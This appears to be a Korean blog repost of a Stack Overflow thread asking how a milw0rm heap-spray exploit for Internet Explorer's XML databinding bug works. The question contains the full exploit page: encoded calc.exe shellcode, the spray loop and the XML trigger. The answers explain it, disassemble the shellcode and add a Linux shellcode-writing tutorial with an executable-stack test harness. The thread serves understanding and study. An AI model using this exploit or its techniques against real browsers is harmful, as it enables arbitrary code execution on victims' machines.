programing tip

이 milw0rm 힙 스프레이 익스플로잇은 어떻게 작동합니까?

itbloger 2020. 6. 15. 21:52
반응형

이 milw0rm 힙 스프레이 익스플로잇은 어떻게 작동합니까?


나는 보통 JavaScript 코드를 읽는 데 어려움이 없지만 이것을 위해 논리를 알아낼 수 없습니다. 이 코드는 4 일 전에 게시 된 악용 코드입니다. milw0rm 에서 찾을 수 있습니다 .

코드는 다음과 같습니다.

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

여기에 내가 믿는 바가 있으며, 내가 오해하는 부분을 도와주십시오.

변수 shellcode에는를 여는 코드가 포함되어 있습니다 calc.exe. 나는 그들이 그 이상한 문자열을 어떻게 찾았는지 알지 못한다. 어떤 생각?

두 번째는 변수 spray입니다. 이 이상한 루프를 이해하지 못합니다.

세 번째는 memory어디에도 사용되지 않는 변수 입니다. 그들은 왜 그것을 만드는가?

마지막으로 : 페이지에서 XML 태그는 무엇을합니까?


현재로서는 좋은 답변이 있지만 대부분 매우 일반적인 답변이 있습니다. 코드 값에 대한 자세한 설명을 원합니다. 예는 unescape("%u0a0a%u0a0a");입니다. 무슨 뜻이에요? 루프에 대해 같은 것 : 개발자가 쓴 이유 : length < 0xd0000? 이 코드의 이론뿐만 아니라 더 깊은 이해를 원합니다.


쉘 코드에는 실제 악용을 수행하는 일부 x86 어셈블리 명령어가 포함되어 있습니다. spray에 넣을 긴 명령 시퀀스를 만듭니다 memory. 우리는 일반적으로 메모리에서 쉘 코드의 정확한 위치를 찾을 수 없으므로 많은 nop명령을 앞에 넣고 어딘가로 이동합니다. memory배열은 점프 메커니즘과 함께 실제의 x86 코드를 개최한다. 제작 된 XML을 버그가있는 라이브러리에 공급합니다. 파싱 ​​될 때, 버그로 인해 명령어 포인터 레지스터가 익스플로잇 어딘가에 할당되어 임의의 코드가 실행됩니다.

더 깊이 이해하려면 실제로 x86 코드의 내용을 이해해야합니다. 변수에 unscape문자열을 나타내는 바이트 시퀀스를 넣는 데 사용됩니다 spray. 유효한 힙을 채우고 쉘 코드의 시작 부분으로 이동하는 유효한 x86 코드입니다. 종료 조건의 이유는 스크립팅 엔진의 문자열 길이 제한 때문입니다. 특정 길이보다 큰 문자열을 가질 수 없습니다.

x86 어셈블리에서을 0a0a나타냅니다 or cl, [edx]. 이것은 nop우리의 착취를 목적으로 하는 교육 과 실질적으로 동일합니다 . 우리는의에 뛰어든지 spray우리는 우리가 실제로 실행하고자하는 코드입니다 쉘 코드에 도달 할 때까지, 우리는 다음 명령어로 얻을 것이다.

XML을 보면 0x0a0a거기에도 있습니다. 어떤 일이 발생하는지 정확하게 설명하려면 익스플로잇에 대한 특정 지식이 필요합니다 (버그의 위치와 익스플로잇 방법을 알아야합니다). 그러나 Internet Explorer에서이 innerHtml악의적 인 XML 문자열을 설정하여 버그가있는 코드를 트리거하도록 강제하는 것 같습니다 . Internet Explorer는 구문 분석을 시도하고 버그 코드는 어떻게 든 배열이 존재하는 메모리 위치를 제어합니다 (큰 덩어리이기 때문에 점프 가능성이 높음). 우리가 그곳으로 점프하면 CPU는 or cl, [edx]메모리에 넣은 쉘 코드의 시작 부분에 도달 할 때까지 명령 을 계속 실행 합니다.

쉘 코드를 분해했습니다.

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Understanding this shellcode requires x86 assembly knowledge and the problem in the MS library itself (to know what the system state is when we reach here), not JavaScript! This code will in turn execute calc.exe.


This looks like an exploit of the recent Internet Explorer bug that Microsoft released the emergency patch for. It uses a flaw in the databinding feature of Microsoft's XML handler, that causes heap memory to be deallocated incorrectly.

Shellcode is machine code that will run when the bug occurs. Spray and memory are just some space allocated on the heap to help the exploitable condition occur.


Heap Spraying is common way to exploit browser stuff, if you are into it you can find several posts like this : http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html


Any time I see memory that doesn't get addressed in an exploit discussion, my first thought is that the exploit is some sort of buffer overflow, in which case the memory is either causing the buffer to overflow or is being accessed once the buffer overflows.


This is from metasploit, that means it's using one of metasploit shell codes. It's open source so you can go and grab it : http://www.metasploit.com/


See Character encodings in HTML.

It's binary data encoded as a string, which JavaScript is decoding.

Common form of XSS also.

You can see all the encoding tricks here:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project


Simple shellcode example

Hello world in assembly at&t syntax x86 I believe (Wizard in Training).

set up the file:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

compile like so:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Now you have a binary that prints out hello world. to convert the binary into shell code type in: objdump -D shellcode

you will get the output:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Now if you look on the 4th line with text you will see: 400078: eb 1a jmp 0x400094

the part that says eb 1a is the hexadecimal representation of the assembly instruction jmp one where "one" is the memory address of your string.

to prep your shellcode for execution open up another text file and store the hex values in a character array. To format the shell code correctly you type in a \x before every hex value.

the upcoming shell code example will look like the following according to the objdump command output:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

This example uses C for the array. Now you have working shellcode that will write to stdout "hello world"

you can test the shell code by placing it in a vulnerability or you can write the following c program to test it:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

To compile the program type in:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

run with ./run You know have a working example of simple shellcode development that was tested in linux mint/debian.

참고URL : https://stackoverflow.com/questions/381171/how-does-this-milw0rm-heap-spraying-exploit-work

반응형